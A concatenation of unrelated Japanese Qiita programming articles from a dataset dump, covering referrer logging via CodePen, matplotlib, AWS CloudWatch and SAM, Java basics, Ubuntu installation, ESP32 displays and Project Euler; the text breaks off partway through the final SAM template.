OmniAICreator/Qiita-1.07M huggingface dataset:
記事がどこからアクセスされるのか知りたい！ 俺は画期的な方法を考えついてしまった

Qiitaの記事がどこからアクセスされるのか？
~~その謎をあきらかにすべく我々はアマゾンの奥地へと向かった。~~
※普通にパソコンに向かい合った。タグを先にちゃんと見ることを推奨します

# 君も自分のQiitaの記事がどこからアクセスされたか気になるだろう？
少なくとも全俺は気になった。
Qiita最新記事一覧から飛んできたのか、[Qrank](http://qrank.wbsrv.net/)や他記事(トレンドの記事)とかから飛んできたのか、はたまたTwitterから飛んできたのか。気になって夜しか眠れなかったんだ。

# まずは設計図を見てほしい
<img width="569" alt="無題.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/330109/4b9983a1-5a4c-ae50-6c54-cc7996339e9b.png">

**人間が描いたのか？**とか思っても言ってはいけない。
ちゃんと説明すると、下記の手順で行うのである。

①記事にアクセスされる
②CodePenのJavaScriptが実行される
③`document.referrer`をPOSTし、サーバに値を送る
④あとは煮るなり、DBに入れて表示するなりできる！！
※document.referrerは遷移元のURLを取得できるゾ！

<img width="569" alt="無題2.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/330109/115228f6-9d8f-0c93-98fd-ceb3baa7dc1e.png">

**これ閃いた自分は天才じゃないかって思った**

# codepenからリファラーを送信してみた
<p class="codepen" data-height="265" data-theme-id="0" data-default-tab="js,result" data-user="sapporo_east_k" data-slug-hash="mdbQbgO" style="height: 265px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="mdbQbgO">
  <span>See the Pen <a href="https://codepen.io/sapporo_east_k/pen/mdbQbgO/">
  mdbQbgO</a> by かんちゃん (<a href="https://codepen.io/sapporo_east_k">@sapporo_east_k</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>

# できなかったんだよ😇
codepenのURLしかPOSTされなくて泣いた。

[
　　終
制作・著作
━━━━━
　ⓃⒽⓀ
](https://qiita.com/kanchan-1996/items/9b2ccf80526b4d0d6230)
<br><br><br>

当たり前だよね、埋め込みだもん。**実装する前に気づけ。**QiitaからJavaScriptを実行しているわけじゃないからね！こうしてエンジニアは学んでいくのである。
※普通のサイトとかなら出来たはず。

# 次なる手段

**アンケートにご協力をお願いいたしま**

<p class="codepen" data-height="265" data-theme-id="0" data-default-tab="js,result" data-user="sapporo_east_k" data-slug-hash="oNvQNwY" style="height: 265px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="enquete">
  <span>See the Pen <a href="https://codepen.io/sapporo_east_k/pen/oNvQNwY/">
  enquete</a> by かんちゃん (<a href="https://codepen.io/sapporo_east_k">@sapporo_east_k</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>
<hr>
一応、このアンケートで[回答された一覧](https://fsta.work/)を見れるようになってます。むしろこれを支える技術とか書いたほうが良かったのか…？
（大阪書いたのはワイだけど、北京書いたの誰やねんwあとXSS対策の確認やめてw誰だNullバイトアタックやったの！wマジでPHP7で良かった…）

# コードがレガシーとか思っても言ってはいけない
~~インターネット老人会の方がQiitaにIEでアクセスしてもいいように~~下記のリンクのコードとか~~コピペ~~使用させていただいた。
https://lab.syncer.jp/Web/JavaScript/Snippet/30/
https://so-zou.jp/web-app/tech/programming/javascript/ajax/post.htm
最初の方法で出来なかったから、ES2016ぐらいで書き直すほどの心の余裕はなかった。~~許してください。~~

# (CodePenの)ご利用は計画的に！
~~この世界に新しいトリビアが生まれた~~
codepenには限界があります。容量と用途を守りましょう。

[ふつうにGoogleアナリティクス](https://qiita.com/yaju/items/f0d42b072fad999c9902)で記事がどこからアクセスされたのかわかりそう！
でも記事単体で完結する方法を実装してみたかったんだ。
おもしろいいねと思ったらいいねボタンを押してくださると明日も記事を書けそうです
matplotlibで降順ソートの棒グラフを作成する方法

調べても意外とすぐに出てこなかったのでメモ。
`matplotlib.pyplot.bar`で`numpy.array`型のデータの棒グラフを作成するメソッド。

# 環境

- Python 3.7.3
- numpy 1.17.2
- matplotlib 3.1.1

# メソッド

```python
import numpy as np
import matplotlib.pyplot as plt

def plot_sorted_bar(figsize: tuple, x: np.array, y: np.array, title: str = None) -> None:
    """
    入力値を降順ソートして棒グラフを作成するメソッド。

    Parameters
    ----------
    figsize : tuple
        figsizeのtuple。
    x : np.numpy
        横軸(ラベル)。
    y : np.numpy
        縦軸(数値)。
    title : str
        グラフタイトル文字列。

    """
    # yを昇順ソート後、逆順にindexを取得
    sorted_index = np.argsort(y)[::-1]
    # 棒グラフの可視化
    plt.figure(figsize=figsize)
    plt.bar(
        #ラベルが数値だと自動ソートされるため、x軸は文字列型にしておく
        x[sorted_index].astype('str'),
        np.sort(y)[::-1]
    )
    if title is not None:
        plt.title(title)
```

※_メソッド引数の`引数: 型`や`-> 型`は型ヒントと呼ばれている。明示的に引数の型を記載しているだけで、明記以外の型でも実行エラーにはならない。_
※_`numpy.array`で使われている`[::-1]`は配列を逆順に返してくれるスライス。例えば[0,1,2,3][::-1]とすると、[3,2,1,0]が返ってくる。_

# 実行例

```python

# サンプルデータ作成
x = np.array([1, 2, 3, 4, 5])
y = np.array([100, 200, 300, 400, 500])

# 可視化
plot_sorted_bar(
    figsize=(20, 10),
    x=x, 
    y=y,
    title='bar plot'
)
```
![ダウンロード.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/337794/8996f1a1-9ae7-0381-c2f5-112d9f6159f1.png)

# 参考
『[python] スライスでリバース！！（スライスの解説もあるよ！）』
https://qiita.com/okkn/items/54e81346d8f35733ab5e#%E3%81%8A%E5%BE%85%E3%81%A1%E3%81%8B%E3%81%AD%E3%82%B9%E3%83%A9%E3%82%A4%E3%82%B9%E3%81%A7%E3%83%AA%E3%83%90%E3%83%BC%E3%82%B9
CloudWatch Eventをトリガーにすると複数回実行されることがある

CloudWatch Eventスケジュール式（cron式）をトリガーにECSでタスクを起動するよう設定していたのだが、なぜかまれにタスクが同時に2個起動することがある。エラーが起きたからリトライされたというわけではなく、タスクは2個とも正常終了した。

CloudWatch Eventはそういうもので、ちょうど1回だけ起動することを保証していないとAWSドキュメントに書いてある。

>1 つのイベントに応じてルールが複数回トリガーされました。CloudWatch イベント で、ルールのトリガーまたはターゲットへのイベントの提供で何が保証されますか。
まれに、単一のイベントまたはスケジュールされた期間に対して同じルールを複数回トリガーしたり、特定のトリガーされたルールに対して同じターゲットを複数回起動したりする場合があります。
>[CloudWatch イベント のトラブルシューティング](https://docs.aws.amazon.com/ja_jp/AmazonCloudWatch/latest/events/CWE_Troubleshooting.html#RuleTriggeredMoreThanOnce)

Lambdaでも同様にCloudWatch Eventスケジュール式をトリガーにしていると多重起動することがあるらしい。Lambdaの場合は同期実行数を1に設定しておけばよいと思いきや、それでもダメ。1つの Lambda 関数が起動して終了した後に、もう1つの Lambda 関数が起動してくる可能性があるため。
[Lambda 関数の同時実行数を1にしても冪等性の担保から逃れることは出来ない | by noid11 | Medium](https://medium.com/@noid11/lambda-%E9%96%A2%E6%95%B0%E3%81%AE%E5%90%8C%E6%99%82%E5%AE%9F%E8%A1%8C%E6%95%B0%E3%82%921%E3%81%AB%E3%81%97%E3%81%A6%E3%82%82%E5%86%AA%E7%AD%89%E6%80%A7%E3%81%AE%E6%8B%85%E4%BF%9D%E3%81%8B%E3%82%89%E9%80%83%E3%82%8C%E3%82%8B%E3%81%93%E3%81%A8%E3%81%AF%E5%87%BA%E6%9D%A5%E3%81%AA%E3%81%84-24a7e414933d)

多重起動を防ぎたければ、DynamoDBを使ってロックを実装するのが良いらしい。ロックを解除しないままエラー終了してしまうと、ロックが残ったままになるので、DynamoDBテーブルにTTLを設定して、一定時間後に自動的に削除される（＝ロック解除される）ようにしておくと良いかもしれない。TTLは指定時刻ピッタリでなく、最大48時間以内に削除されるという仕様だが…
[【小ネタ】 DynamoDBのTTLで一部だけ無期限にしたい時は0でOK - Qiita](https://qiita.com/kimama-cloud/items/4e9fa4d19f798ad9d032)



酷い話だ。

追記：
DynamoDBを使ってロックを実装しても、1個目のタスクが1分で終了してから2個目のタスクが起動されたことがあった。これはロックでは防げない…

## 参考

- [Scheduled Task Running Twice](https://forums.aws.amazon.com/thread.jspa?messageID=873044)
- [Lambda でアトミックなロック処理を実装する](https://blog.manabusakai.com/2016/07/lambda-atomic-lock/)
- [Lambda is been executed several times by scheduled event](https://forums.aws.amazon.com/message.jspa?messageID=750312)
- [DynamoDBの各データを自動で削除する機能（TTL:Time to Live）を試してみた ｜ DevelopersIO](https://dev.classmethod.jp/cloud/aws/try-dynamodb-ttl/)
ラッパークラスとは？

##ラッパークラスとは？

javaの方には基本型と参照型がある。
基本型では数値や文字などの値の格納や、格納された値を使った演算処理が行われる。

しかし、値に対する操作を行う手段は用意されていない。
また、複雑な処理により簡単に行われるコレクションやジェネリックなどを利用しようとした場合、基本型は引数の対象外となるため使用できない。

そこで基本データ型の値をラップしてオブジェクトとして利用できるようにするクラスが用意されている。

それらをラッパークラスを呼ぶ。
例外処理

##例外処理とは？

例外処理とはプログラムが何らかのエラーを出した時に、処理中断して処理を行う事


javaでは例外もクラスとして扱われる。
例外クラスとはError Exception RuntimeExceptionの3つに分類されている。
Exceptionクラスの例外が発生する可能性のあるメソッドは、呼び元で例外処理を実装しないとコンパイルエラーになる。

javaでの例外処理はtry-catch-finally文で実装する。

例外処理を例外が発生したメソッドではなく、呼び元に丸投げする場合はthrows文を使う。

throw文を使うことで、任意のタイミングで例外を投げれる。

Exceptionクラスを継承することで、オリジナルの例外クラスを実装できる。
自作PCにUbuntu 18.04.3 LTSをインストールしたメモ

Ubuntuインストールで軽く詰まったので、同じような事象の人用に参考までにメモを残しておきます。
#PCの構成
・マザーボード：ASRock B450M-HDV R4.0
・CPU：AMD Ryzen 5 2400G
・メモリ：crucial DDR4-2666 UDIMM 1.2V CL19 CT2K4G4DF88266 (4GB*2)
・SSD：crucial MX500 2.5-INCH SSD
・ケース：Antec P70
#OS情報
・バージョン：[Ubuntu 18.04.3 LTS（Ubuntu Desktop 日本語 Remix）](https://www.ubuntulinux.jp/download/ja-remix)
・使ったファイル：ubuntu-ja-18.04.3-desktop-amd64.iso（ISOイメージ）
#Ubuntuインストールで上手くいった流れ
1.[Ubuntu](https://www.ubuntulinux.jp/download/ja-remix)該当バージョンのisoイメージをダウンロード
2.[ここ](https://fuutotto.hatenadiary.jp/entry/bootUSB)の内容でブートイメージを作成
　ただし、この手順の中にある「パーティションをアクティブとしてマーク」はグレーアウトしていてGUIでできなかったので、以下の手順で実施：
　　1.コマンドプロンプトを管理者モードで起動
　　2.以下コマンドでDiskPartを起動：
　　　`> diskpart`
　　3.以下コマンドで、USBメモリのディスクが何番か確認：
　　　`> list disk`
　　4.以下コマンドでUSBメモリのディスクを選択：
　　　`> select disk [3で確認したUSBメモリのディスク番号]`
　　5.以下コマンドで、USBメモリのパーティションを確認：
　　　`> list partition`
　　6.以下コマンドで、USBメモリのパーティションを選択：
　　　`> select partition [5で確認したUSBメモリのパーティション番号]`
　　7.以下コマンドで、該当パーティションを「アクティブ」化：
　　　`> active`
3.2で作ったブート用USBを挿してPCの電源を入れてブート
###使ったUSBメモリ
KLEVV NEO C39 USB3.0 Flash Drive (16GB)
###参考
・[超簡単　UEFI環境でUbuntuをUSBブートできるUSBメモリーを作る方法](https://fuutotto.hatenadiary.jp/entry/bootUSB)
・[「パーティションをアクティブとしてマーク」に関すること](https://www.aomei.jp/articles/mark-partition-as-active.html)
・[Windows 10でDiskPartコマンドを使用する方法](https://www.disk-partition.com/jp/windows-10/diskpart-windows-10.html)
#上手くいかなかったところ
###1.UEFIまではいくけど、Ubuntuのブートができない
以下のエラーが出ました。
　`ACPI Error: AE_ALREADY_EXISTS, During name lookup/catalog (201812...[画面切れて見えない]...sobject-221)`
　`ACPI BIOS Error (bug): Failure creating [\_SB.SMIB], AE_ALREADY_E...[画面切れて見えない]...(20181213/dsfield-626)`
　`AMD-Vi: Unable to write to IOMMU perf counter.`
　`Couldn't get size: 0x[8?]00000000000000e`
　`M[OD?]SIGN: Couldn't get UEFI db list`
　`sd 9:0:0:0 [sda] No Caching mode page found`
　`sd 9:0:0:0 [sda] Assuming drive cache: write through`
####やったこと
・ブート順の変更
　→これは、最終的にUEFI:～（USBの名前）を一番上にしたら上手くいったっぽい
・USBメモリの変更
　→当初2GBくらいのUSBメモリを使っていたのを16GBのものに変更
　　→ブートできないのは恐らくこれが原因だったのかと思う
　　　→[ここ](https://www.archlinux.site/2018/03/windows-10ubuntuusb.html)とか[ここ](https://blog.mktia.com/how-to-make-ubuntu-live-usb/)とか[ここ](https://qiita.com/r-ymgc/items/3a3acb2f3ddfe2e2dbbd)を見て、容量それなりに必要そうだったので大きいサイズを用意しました
　　　→ただし、初めrufus-3.7でブートメディアを作ろうとしたのも失敗の原因だった可能性がある（ここは未検証ですが、とりあえず先述したGUIでやる手順で作ったブートメディアでは上手くいきました）
###2.Ubuntuの紫のロゴで止まる
####やったこと
バージョンは違いますが、[ここ](https://oba-q.com/?p=3863)を見て数分～せいぜい10分くらいでロゴ画面は終わりそうなのに、全然進まないためシャットダウンして再起動しました。
・USBメモリを挿す場所の変更
　→再起動したときにデバイスを付け直せみたいなエラーがいっぱい出たので、もう一度再起動してUEFIのBootタブを見たらUSBが認識されていなかった
　　→最終的に、マザーボード直結ではなく、ケース側についているUSBポートに挿したら上手くいきました（これは製品同士の相性とかそんな感じがする）
###参考
・[インストール所要時間](https://oba-q.com/?p=3863)
・[Ubuntu18.04LTS日本語Remixがインストール画面を表示する前にフリーズする](https://forums.ubuntulinux.jp/viewtopic.php?pid=120074)
・[Windows 10でUbuntuのインストール用USBメモリを作成 ](https://www.archlinux.site/2018/03/windows-10ubuntuusb.html)
・[UbuntuのLive USBをつくる](https://blog.mktia.com/how-to-make-ubuntu-live-usb/)
・[Ubuntu18.04をUSBブートした](https://qiita.com/r-ymgc/items/3a3acb2f3ddfe2e2dbbd)
Skypeの履歴を閲覧する(1)：Pythonでツールを作ってみたい

#はじめに
巨大JSONをいきなりダウンロードしてしまったら…
欲しい情報がその中のほんの一部だったら…
それを、突然の思い付きで、パッパと取り出さないと不機嫌になる上司がいたら…
いつでも取り出せるツールが欲しいなと思ったんです。
-Pythonで取り出したい
-抽出作業にバリエーションが欲しい
-GUIの画面も作ってみたい
ざっくりとそう思ったのがきっかけで。

#上司「Skypeの履歴を保存して」という
ある日リモートワーカーのnitsumariは、Skypeの履歴を保存するよう、指示を受けました。
誰かが作って配布してるだろうと思ったツールはすぐに見つからず、ひとまずGoogleで検索したところ、Microsoftのサイトでまとめてダウンロードできることが分かりました。

##Skype ファイルとチャット履歴をエクスポートする方法
下のリンク先に書いてある通り、
https://support.skype.com/ja/faq/FA34894/skype-huairutochiyatsutolu-li-woekusupotosurufang-fa
-Skypeアカウントにログイン
-「要求を送信」
-時間がかかるが、とにかく待つ
-通知が来る
-ダウンロード
　ダウンロードの画面はこちら
![2019-09-19_224332.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/492622/785628e0-2c19-65b9-4447-ab794efd8bd4.png)

##「なんちゃら_export.tar」という圧縮ファイルを解凍したらJSONが出てきた
-message.json
というのが親玉かな？
一番大きなログは、32MBもあって、普通にエディタで開こうとすると、開くだけですごく時間がかかります。
こりゃ参ったね。
エディタで開くのもやっとです。


##見づらいJSONをどうやって閲覧するのか
先ほどのダウンロードページの下のほうで、ツールを配布してます。
![2019-09-19_224559.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/492622/d64a6bdc-51c7-dee3-478e-a584fe7a2e44.png)
「こちら」をクリックすると、
-skype-parser.zip
というツールがダウンロードされます。
中身は、
-index.html
-skype.svg

<img width="297" alt="2019-09-19_231354.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/492622/37665500-ba1f-8470-c815-92f704fd1a8a.png">

index.htmlを、ブラウザで開くと以下の画面が表示されます。

<img width="648" alt="2019-09-19_231627.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/492622/cd9c7ce4-33bb-d51f-9c23-64b6f06f21dd.png">

「ファイルを選択」で、先ほどのJSONを置いたフォルダを指定し「Load」をクリック
すると、こんな画面になります。

<img width="648" alt="2019-09-19_231719.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/492622/b83a67eb-f733-d296-c8bb-b0ac95624162.png">

モザイクばっかりで訳が分からないですが、雰囲気は伝わるかな…。
このツールでは、きめ細かな抽出は無理っぽいです。
Pythonでツールを作って自在に取り出したいな、と思いました。
初心者なので、時間がかかるかもしれないですけども。
Pythonを勉強し始めて1か月の経過

#はじめに
Pythonを学び始めて1か月が経過しました
一度過去を振り返り、今後の目標を立てていきます
（あと、Qiitaでの投稿にも慣れていければなぁと思います）

#学び始め(～1week)
友人に紹介してもらった”[Pythonスタートブック](https://www.amazon.co.jp/Python%E3%82%B9%E3%82%BF%E3%83%BC%E3%83%88%E3%83%96%E3%83%83%E3%82%AF-%E8%BE%BB-%E7%9C%9F%E5%90%BE-ebook/dp/B01MDKUQ6M/ref=tmm_kin_swatch_0?_encoding=UTF8&qid=&sr=)”を購入しました
「とりあえず変数、for文、if文、リストあたりの概念だけ抑えとけ！」という友人のアドバイスのもと読み進めました
その後は、友人が書いたスクリプトを解読させてもらい、どういう流れで書き進めればよいかを軽く学びました

#はじめてのスクリプト作成(～2week)
学び始めて1週間後に、[AtCoder](https://atcoder.jp/)に登録し様々な問題に取り組むことにしました
「とりあえず精選10問やっとけ！」との友人のアドバイスのもと、[AtCoder Beginners Selection](https://atcoder.jp/contests/abs)を解き進めました
ネット上に丁寧な解説が多く転がっているので、それほど苦労なく進めることができました
精選10問を解き終えた後は、AtCoder Beginner Contest（ABC）の出場に向けて過去問のA～C問題をちょこちょこかじりました

#コンテスト出場(～4week)
学び始めて2週間後にABCに出場しました
時間はかかったもののA～C問題を解くことができうれしかったです
その後も、コンテスト出場を2回繰り返し、続けてA～C問題を完答することができ自信につながりました
ですが、それ以上に感じたのはC問題とD問題の間にある難易度の壁でした

#今後の目標(1month～)
以上より、ABC_D問題の回答に向けて勉強を続けていきたいと考えています
「D問題を解くにあたっての優先順位の高いデータ構造・アルゴリズム・テクニックは
①DP(動的計画法)
②累積和、imos法
③UnionFind木
④bit関係
⑤mod関係
⑥二分探索」
とのアドバイスを友人からいただいたので、上から順に学んでいこうかなぁと思っています
これからは備忘録的に記事の更新を行っていきます
また、”医療・ヘルスケア×IT”、”Wearable端末”に関する情報収集も行っていきたいと思っています
よろしくお願いします
Project Euler 021を解いてみる。「友愛数」

# Project Euler 021
[021](http://odz.sakura.ne.jp/projecteuler/index.php?cmd=read&page=Problem%2021)
>d(n) を n の真の約数の和と定義する. (真の約数とは n 以外の約数のことである. )
もし, d(a) = b かつ d(b) = a (a ≠ b のとき) を満たすとき, a と b は友愛数(親和数)であるという.
例えば, 220 の約数は 1, 2, 4, 5, 10, 11, 20, 22, 44, 55, 110 なので d(220) = 284 である.
また, 284 の約数は 1, 2, 4, 71, 142 なので d(284) = 220 である.
それでは10000未満の友愛数の和を求めよ.


->[次の問題](https://qiita.com/radiol/items/630ba7c47a6be7083329)

## 考え方
10000未満の自然数をループで回し、
約数の合計を計算→その値からまた約数の合計を計算し、元の数と一致するかを判定します。

## コード
```Python:euler021.py
def main():
    n = 10000
    amicable_numbers = [i if is_amicable_number(i) else 0 for i in range(1, n)]
    print(sum(amicable_numbers))


def is_amicable_number(n: int) -> bool:
    """友愛数か否かを判定する関数
    Args:
        n: 自然数
    Returns:
        bool: 友愛数ならTrue
    """
    pair_num = sum(get_divisors(n)) # nの約数の和をpair_numとする
    if n == pair_num:  # 完全数を除去
        return False
    return n == sum(get_divisors(pair_num))  # pair_numの約数の和がnなら友愛数


def get_divisors(n: int) -> list:
    """真の約数(n以外の約数)を返す関数
    Args:
        n: 自然数
    Returns:
        list: 約数のリスト
    """
    divisors = [1,]
    for i in range(2, int(n ** 0.5) + 1):
        if n % i == 0:
            divisors.append(i)
            temp_divisor = n // i
            if  temp_divisor != i:
                divisors.append(temp_divisor)
    return divisors

if __name__ == '__main__':
    from time import time as t
    st = t()
    main()
    print(t() - st, 'sec')
```
[paiza](https://paiza.io/projects/new)にて実行
`結果
31626
0.06382584571838379 sec
`
ちなみに友愛数は
`[220, 284, 1184, 1210, 2620, 2924, 5020, 5564, 6232, 6368]`
の10個です。

## 問題点
この方法では1~9999の数値それぞれについて判定を行っているので、220で判定を行ったあとにペアである284でももう一度判定を行っており、無駄がありそうです。

## 改良
ある数字が友愛数で合った場合、ペアとなる数字も同時にリストに登録するようにします。
## コード

```Python:euler021.py
def main():
    n = 10000
    amicable_numbers = []
    for i in range(1, n):
        pair_num = sum(get_divisors(i))
        # 2つの数字ペアi,pair_numをi < pair_numとすることで
        # 完全数の場合と入れ替わりのパターンを排除
        if pair_num > i & i == sum(get_divisors(pair_num)):
                amicable_numbers += [i, pair_num]
    print(amicable_numbers)
    print(sum(amicable_numbers))
```

- 友愛数判定の関数は使わずにmain内で処理するように変更
- ペアの友愛数を同時にリストに追加

`結果
31626
0.04690241813659668 sec
`
25%ほど早くなりましたが、10000未満の友愛数のペアはもともと5組しかないのでアルゴリズムの効率化というよりは関数呼び出しが減ったことの影響な気がします(；・∀・)
500円ほどの1.3インチ(240x240) フルカラーTFT LCD を試す

#はじめに
Amazonで500円ほどで売られている1.3インチ(240x240) フルカラーTFT LCDを試してみた。
AmazonPrimeだと1,000円ほどするので、500円の方で気長に待ちましょう。

画像は少し白く飛んでしまっていますが、結構キレイに出ます。表示速度は遅めです。
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/203949/ded53146-6123-a8a0-1461-49aea113ba0d.png" width=70%>
この下↓の画像の方がいい色が写ってる。

#ハードウェア 
* ESP-WROOM-32 DevKit
* 1.3インチTFT LCDスクリーンディスプレイモジュール(ST7789)
* ユニバーサル基板、ワイヤー
* 母艦（Windows10）

#ソフトウェア
Arduino IDE

#配線(SPI)
| ESP32(GPIO) | LCD |
|:-:|:-:|
|GND|GND|
|3.3V|VCC|
|18|SCL|
|23|SDA|
|16|RES|
|17|DC|
|-|BLK|

#ライブラリ
[Adafruit GFX Library](https://github.com/adafruit/Adafruit-GFX-Library)
[ananevilya/Arduino-ST7789-Library: Arduino library for the ST7789 IPS SPI display.]
(https://github.com/ananevilya/Arduino-ST7789-Library)
[Arduino JPEGDecoder library](https://github.com/Bodmer/JPEGDecoder)
「Adafruit GFX Library」と「JPEGDecoder library」は、ArduinoIDEのライブラリマネージャからインストールできます。

#ソース
[GitHub](https://github.com/nori-dev-akg/esp32-ST7789-Upload)

#実行
ソースをコンパイルして実行するとシリアルモニタに以下のようにESP32のアドレスが出力されるので、

|![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/203949/4fc8ff15-356e-dcd2-dade-ec8e74b722e1.png)|
|:-:|
そのIPをブラウザで開く。

|![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/203949/8cfcfa84-4166-a090-cd98-bdc6d61b21e6.png)|
|:-:|

「ファイルを選択」でローカルの画像ファイル(JPEGのみ)を選択して
「Upload Image」を押すとLCDに表示される。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/203949/5cce5998-359d-e74f-1e9a-73f836fe85e0.png" width=50%>

画像は 240x240でないと、ちょん切れます。

#SpecialThanks!!
https://github.com/pcbreflux/espressif/tree/master/esp32/arduino/sketchbook/ESP32_AP_upload
Rails.cacheをキーの部分一致で指定して削除する方法

# 1. Rails.cacheの削除の方法
Rails.cacheを削除する方法としては全てのキャッシュを削除する`Rails.cache.clear`と、引数にキャッシュのキーを指定して削除する`Rails.cache.delete`が代表的です。
これに加えて、`Rails.cache.delete_matched`というメソッドがあります。

# 2. `Rails.cache.delete_matched`
`Rails.cache.delete_matched`は、キャッシュのキーを部分一致で指定することができます。
例えば、以下のようなキーでキャッシュを保持している場合

```ruby
Rails.cache.write('fruit_1', 'apple')
Rails.cache.write('fruit_2', 'banana')
Rails.cache.read('fruit_1') #=> apple
Rails.cache.read('fruit_2') #=> banana
```
`Rails.cache.delete_matched`を使うと、まとめて削除できます。

```ruby
Rails.cache.delete_matched('fruit_*')
Rails.cache.read('fruit_1') #=> nil
Rails.cache.read('fruit_2') #=> nil
```
GUIでTeams Only Mode にする手順

[前回の投稿は2018年の12月](
https://qiita.com/hisssa0102/items/890fc73ef73e4a2a3f15)の続きです。

すでに
-小規模テナントは最初からTeams Only Modeな
-500ユーザー未満のテナントら、Teams Only Modeに切り替えな
などと、という移行をせざるを得ないリリースもあるけど、移行を容易する機能アップデートも出てたりする。あと一年半ちょっとで移行期限も迫ってるし、順次移行させましょう、ってことで設定する手順をまとめてみた。

#Teams Only ModeにGUIで設定する

前回はコマンドで切り替える方法だったけど、今回はGUIで。

365管理センターのサイドメニューから、Teams管理センター開いて
<img width="414" alt="A84A4AD4-8456-4BD3-9A7E-BCACBFA6D5A7.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/237698/9b7b92e0-75e6-21ce-5b0f-3cf6464ee49b.png">

ユーザータブ開いて、ユーザー検索して、下の方にあるTeamsアップグレードを
<img width="414" alt="5CE73783-D512-4936-90A0-A661916EF8E8.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/237698/cdad4063-198c-6298-ad9f-5624e91e32e5.png">

Teamsのみ、にかえるだけ！
<img width="414" alt="4CD135F1-CB3F-4473-A65C-4EBCEDD27AE8.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/237698/90c82c48-1660-89f4-f3db-b5f9b4cc33a6.png">


画面が小さいのはiPhoneの画面なので。もちろん、PCからでも設定できます。


#今の悩み

Skypeで1番利用頻度が高いのは、IM。SkypeからTeamsにIM送れるのはいいんだけど、Teams Only ModeからはどうやってもSkype宛に送らないこと。これさえなんとかなれば順次移行でもいいんだけどなー。

取り敢えずは、Teams便利だよ！取り敢えず使ってみなよ、で布教。51%ユーザーが使い始めてから、Teams Only Modeが良いと思うの。


チャットの件に関して、なんとかしてくれないかしら、Microsoftさん。
Enum(列挙型)

##Enum(列挙型)とは

複数の定数を一つにまとめて置く事ができる型の事です。
Enumで定義する定数の事を列挙型と呼びます。

C言語でも列挙型は使われ、定数の方法は似ている部分がありますが、javaの列挙型はクラスですので、フィールドやメソッドを定義する事ができます。

switch文で列挙型を使用する事で、読みやすさが向上する事などなどがEnumを使うメリットになります。

##定数について
Enumの定義は以下のように記述します。

```java
アクセス修飾子　enum 列挙型 {列挙型1, 列挙型2,};
```

サンプル確認

```java

public class Main {
 public static void main(String[] args) {
  Fruit fruit_type = Fruit.Orange;

  System.out.println(fruit_type);
}

 protected enum Fruit {
  Orange,
  Apple,
  Melon
};

}
```

結果

```java

Orange
```

このサンプルコードでは、列挙型のFruitを定義しています。
Fruitを使用するには普通のクラスと同じようにオブジェクトを宣言します。
ここではfruit_typeを宣言します。

宣言したオブジェクトにEnumの列挙型を格納して、オブジェクトをしようする事ができるようになります。
SAMでtemplate.yamlの記述方法（Events、Policyはここを参照して書く）


# はじめに
SAMを使うときに`template.yaml`で`Events`と`Policy`の設定方法を学んだので書こうと思います。
※テンプレートは他にもいろいろプロパティありますが、割愛します。

**本記事で伝えたい結論は１点のみ。Githubリポジトリ`awslab`を見ながら作業すると効率が良いということです。**

![Screenshot from 2019-09-19 23-00-21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/216527/fcebc54f-f573-f8ec-78fe-5a7b3f59cfee.png)

# Events
> 
**Lambda 関数が実行されるトリガー**をEventsプロパティ配下に指定する（複数可）
TypeプロパティにAWSのどのサービスをイベントするか指定する
>

**利用可能タイプ一覧を記載しました。最新情報は`awslabs`を参照しましょう(サンプルもついています)**
https://github.com/awslabs/serverless-application-model/blob/master/versions/2016-10-31.md#event-source-types

|Type の指定 |対応する AWS のサービス
|---|---|
|S3 |Amazon Simple Storage Service (S3)
|Api|Amazon API Gateway
|DynamoDB|Amazon DynamoDB
|SNS|Amazon Simple Notification Service (SNS)
|SQS|Amazon Simple Queue Service (SQS)
|Kinesis|Amazon Kinesis Data Streams
|Schedule|Amazon CloudWatch Events (スケジュール)
|CloudWatchEvent|Amazon CloudWatch Events (イベント)
|CloudWatchLogs|Amazon CloudWatch Logs
|IoTRule|AWS IoT ルール
|AlexaSkill|Amazon Alexa スキル

# Policy
>
よく利用されるポリシーについて**簡単に設定**できるよう、あらかじめ用意されているポリシーがある
>

**設定可能なポリシーはAWSのリポジトリ`awslabs`を参照しましょう。**
**ここから設定したいサービスのポリシーを探し記述します。**

https://github.com/awslabs/serverless-application-model/blob/0f1a0823546acc7369a9059de302bcac4267d2eb/examples/2016-10-31/policy_templates/all_policy_templates.yaml

# サンプル（トップの画像の構成）

- イベント：Eventsの箇所を参照
  - 12時間に1回、`Amazon CloudWatch Events (スケジュール)`でLambdaが実行
- ポリシー：Policiesの箇所を参照
  - Lambda処理内で、`s3`へデータを格納


~~~ yaml:template.yaml
AWSTemplateFormatVersion: '2010-09-09'
Transform: 'AWS::Serverless-2016-10-31'
Description: An AWS Serverless Specification template describing your function.
Resources:
  blogtest1:
    Type: 'AWS::Serverless::Function'
    Properties:
      Handler: blogtest1/lambda_function.lambda_handler
      Runtime: python3.6
      Description: ''
      MemorySize: 128
      Timeout: 20
      CodeUri: .debug/
      Policies:
        - S3CrudPolicy:
            BucketName: qiita-data
      Events:
        Schedule1:
          Type: Schedule
          Properties:
